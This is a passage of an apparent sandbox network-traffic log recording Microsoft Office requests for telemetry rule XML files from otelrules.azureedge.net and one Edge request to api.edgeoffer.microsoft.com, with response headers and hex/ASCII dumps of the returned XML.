4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.6	49857	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:32 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:32 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:32 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 38ae9a1e-e01e-0099-4193-27da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165932Z-r197bdfb6b4jlq9hppzrdwabps00000001xg00000000e8mn x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:32 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.6	49858	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:32 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:32 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:32 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: 6d58be1b-301e-0052-189d-2765d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165932Z-17c5cb586f6wnfhvhw6gvetfh4000000069g000000008y8w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 16:59:32 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.6	49871	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:34 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:34 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:34 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: ddb9aa53-101e-008d-17e8-2992e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165934Z-17c5cb586f6mkpfkkpsf1dpups000000025g000000005t4q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 16:59:34 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.6	49868	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:34 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:34 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:34 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: 4bda3d21-a01e-0053-54ed-288603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165934Z-15b8d89586f6nn8zqg1h5suba8000000020000000000ep3b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:34 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.6	49870	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:34 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:34 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:34 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: a285717e-d01e-008e-03fa-28387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165934Z-r197bdfb6b46krmwag4tzr9x7c00000006mg00000000bhth x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:34 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.6	49869	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:34 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:34 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:34 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: a453eede-301e-0033-02d5-26fa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165934Z-17c5cb586f6g6g2sa7kg5c0gg000000002700000000012rc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:34 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.6	49865	94.245.104.56	443	8136	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:34 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-29 16:59:34 UTC	584	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Tue, 29 Oct 2024 16:59:33 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=b65d9106bc81838a23d8a3edd144c8dcf94d11cfa7af5eb97996169fda12e5cf;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=b65d9106bc81838a23d8a3edd144c8dcf94d11cfa7af5eb97996169fda12e5cf;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.6	49872	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:34 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:34 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:34 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: 7db2c7df-001e-000b-3d0b-2915a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165934Z-15b8d89586fnsf5zkvx8tfb0zc00000001y000000000c1gs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:34 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.6	49878	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:35 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:35 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:35 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: d4940829-c01e-0014-691e-27a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165935Z-17c5cb586f6mhqqby1dwph2kzs000000022g00000000bvxg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 16:59:35 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.6	49877	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:35 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:35 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:35 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: dbdc188e-001e-002b-6b28-2799f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165935Z-15b8d89586fst84kttks1s2css00000000mg000000000akg x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:35 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.6	49876	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:35 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:35 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:35 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 3b873659-401e-0067-0d93-2909c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165935Z-r197bdfb6b4gx6v9pg74w9f47s00000008ug000000009k6g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:35 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.6	49879	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:35 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:35 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:35 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: 8e439449-301e-0051-2567-2838bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165935Z-15b8d89586f6nn8zqg1h5suba8000000023000000000612e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
